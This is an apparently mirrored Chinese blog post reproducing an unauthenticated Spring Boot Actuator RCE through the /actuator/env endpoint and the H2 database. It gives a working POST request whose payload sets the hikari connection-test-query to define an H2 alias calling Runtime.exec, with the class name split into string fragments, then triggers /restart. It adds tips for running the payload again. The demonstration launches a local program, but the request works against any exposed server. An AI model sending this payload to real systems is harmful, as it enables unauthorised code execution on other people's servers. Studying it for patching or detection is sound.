zoukankan      html  css  js  c++  java
  • Spring未授权REC利用方式四(env接口/h2 database query RCE)

    一、漏洞成因

      env接口暴露

      使用h2 database 依赖

    二、利用条件

      env接口

      restart接口

      存在 com.h2database.h2 依赖

    三、漏洞确认

      访问env接口,查看是否存在h2 database相关依赖

      

     四、漏洞复现

      1. 访问env接口post传参,记得添加content-type

    POST /actuator/env
    Content-Type: application/json

    {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}

      

       2.我这里改成了画画板,访问env查看是否写入

      

      3.restart重启

      

       总结:

       1.这个利用过程比较简单,就是在发送post请求的时候,里面value值的在执行一次后换一个T5,如下换T6,原参考文章中有提到,否则执行失败。

       2.h2 database还有Jndi注入的注入方式就不尝试复现了

       3.mysql的有点复杂,暂时不尝试了,spring未授权的rec漏洞复现暂时到此为止了。

    参考文章:

      https://github.com/LandGrey/SpringBootVulExploit#0x04jolokia-logback-jndi-rce

  • 相关阅读:
    python_day10 线程
    python_day9 回调函数
    python_day9 进程池
    python_day9 共享数据
    python-day9 队列
    python_day9 其他方法和属性
    python_day9 多进程socket
    原生js实现ajax 发送post请求/原生JS封装Ajax插件(同域、jsonp跨域)
    css设置时父元素随子元素margin值移动
    zepto默认的webkit和zepto不兼容
  • 原文地址:https://www.cnblogs.com/hei-zi/p/14345335.html
Copyright © 2011-2022 走看看